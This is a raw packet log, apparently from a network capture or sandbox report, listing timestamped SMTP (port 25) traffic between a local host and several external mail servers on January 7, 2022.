Jan 7, 2022 15:44:07.663213015 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:07.663917065 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.679543018 CET	49978	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:44:07.705950022 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706012964 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706058979 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706101894 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706151009 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706197977 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706243038 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706285000 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706331015 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706376076 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706418991 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706463099 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706509113 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706556082 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706603050 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706645966 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706686020 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706718922 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706763983 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706806898 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706852913 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706897974 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706943989 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.706988096 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.707032919 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.707077026 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.707119942 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.707166910 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.707225084 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.707271099 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.707320929 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.707365990 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.709263086 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.709285975 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.766628027 CET	50007	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:44:07.781713963 CET	25	50007	194.97.150.230	192.168.2.6
Jan 7, 2022 15:44:07.784858942 CET	50007	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:44:07.799246073 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.799280882 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.799374104 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.799449921 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.799479961 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.799582958 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.799621105 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.799942970 CET	25	50007	194.97.150.230	192.168.2.6
Jan 7, 2022 15:44:07.800199032 CET	50007	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:44:07.815071106 CET	25	50007	194.97.150.230	192.168.2.6
Jan 7, 2022 15:44:07.818069935 CET	25	50007	194.97.150.230	192.168.2.6
Jan 7, 2022 15:44:07.818253040 CET	50007	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:44:07.818305016 CET	50007	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:44:07.818944931 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:07.819051981 CET	50002	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:07.833138943 CET	25	50007	194.97.150.230	192.168.2.6
Jan 7, 2022 15:44:07.833301067 CET	50007	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:44:07.833658934 CET	25	50007	194.97.150.230	192.168.2.6
Jan 7, 2022 15:44:07.839235067 CET	50007	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:44:07.852544069 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.897814035 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.898401022 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.899310112 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.899411917 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.925159931 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.925344944 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.952080011 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.952119112 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.952334881 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.958834887 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.958935022 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.959069967 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.959095955 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.959124088 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.959131956 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.959148884 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.959172010 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.959186077 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.959192038 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.959245920 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.959271908 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.959881067 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.978889942 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.982173920 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.008910894 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.008960009 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.008985043 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.009018898 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.009056091 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.009064913 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.009084940 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.009114027 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.009150028 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.009162903 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.009186983 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.009222984 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.009253979 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.009275913 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.035717010 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.035754919 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.035779953 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.035805941 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.035832882 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.035857916 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.035917997 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.035947084 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.036000967 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.036027908 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.036120892 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.039293051 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.039518118 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.039565086 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.039608002 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.065871954 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.065912008 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.065949917 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.065979004 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066005945 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066031933 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066059113 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066087008 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066107035 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066123009 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066142082 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066159010 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066169977 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.066178083 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066195011 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066303015 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066332102 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066396952 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066426039 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066497087 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066510916 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.066526890 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066553116 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066581011 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.066725969 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.066792965 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.066809893 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.066823006 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.066833019 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.066842079 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.066850901 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.092761040 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.092796087 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.092823982 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.092951059 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.092952967 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.093002081 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.093030930 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.093095064 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093121052 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093154907 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093179941 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093184948 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.093205929 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093206882 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.093230009 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.093233109 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093250990 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.093276024 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.093303919 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093310118 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.093331099 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093355894 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093369961 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.093383074 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093389988 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.093410015 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093436956 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093463898 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093488932 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093514919 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093542099 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093611002 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093636036 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093707085 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093733072 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093760014 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093786955 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093811989 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093839884 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.093988895 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094016075 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094042063 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094068050 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094299078 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094326019 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094393015 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094418049 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094435930 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094461918 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094486952 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094512939 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094538927 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094564915 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094594002 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094619989 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094646931 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094674110 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094698906 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094726086 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094753027 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094822884 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094849110 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094875097 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094942093 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094969988 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.094995022 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095066071 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095093012 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095119953 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095146894 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095254898 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095283985 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095312119 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095336914 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095362902 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095432043 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095459938 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095529079 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095556021 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095643997 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095671892 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.095695972 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.118978024 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119015932 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119041920 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119110107 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119209051 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.119218111 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119245052 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119283915 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.119332075 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.119359016 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119432926 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.119443893 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.119460106 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119487047 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119529009 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.119546890 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.119600058 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119628906 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119662046 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119688034 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.119712114 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.119748116 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.119801998 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.119918108 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.119951010 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.119987965 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.120304108 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.120332003 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.120359898 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.120387077 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.120414019 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.120455027 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.120512009 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.120542049 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.120568037 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.120592117 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.120604038 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.120618105 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.120646000 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.120672941 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.121233940 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.121263981 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.121294022 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.121515989 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.121545076 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.121721029 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.121876955 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.121906996 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.122052908 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.122081995 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.122109890 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.151885986 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.153074980 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.168351889 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:08.183103085 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.269597054 CET	25	50004	51.81.57.58	192.168.2.6
Jan 7, 2022 15:44:08.269761086 CET	50004	25	192.168.2.6	51.81.57.58
Jan 7, 2022 15:44:08.269798040 CET	50004	25	192.168.2.6	51.81.57.58
Jan 7, 2022 15:44:08.270106077 CET	50008	25	192.168.2.6	51.81.57.59
Jan 7, 2022 15:44:08.278542995 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.278661013 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.278690100 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.278719902 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.278744936 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.278810978 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.278839111 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.278856993 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.278884888 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.278959990 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.278986931 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.279014111 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.279125929 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.279197931 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.279375076 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.279403925 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.279431105 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.279491901 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.279519081 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.279546022 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.279953003 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.279983997 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.280014038 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.322213888 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:08.323071957 CET	50002	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:08.343750000 CET	50009	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.370104074 CET	25	50009	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.370609999 CET	50009	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.370727062 CET	25	50004	51.81.57.58	192.168.2.6
Jan 7, 2022 15:44:08.370791912 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.373872995 CET	25	50008	51.81.57.59	192.168.2.6
Jan 7, 2022 15:44:08.373984098 CET	50008	25	192.168.2.6	51.81.57.59
Jan 7, 2022 15:44:08.397309065 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.397516966 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.399111032 CET	25	50009	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.401359081 CET	50009	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.424802065 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.424935102 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.427896023 CET	25	50009	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.432590008 CET	25	50009	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.432734966 CET	50009	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.438072920 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.438375950 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.438429117 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.438472986 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.438510895 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.438755035 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.438882113 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:08.445293903 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.451302052 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.453731060 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.453855991 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.460150003 CET	25	50009	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.460282087 CET	50009	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.476922035 CET	25	50005	108.177.119.26	192.168.2.6
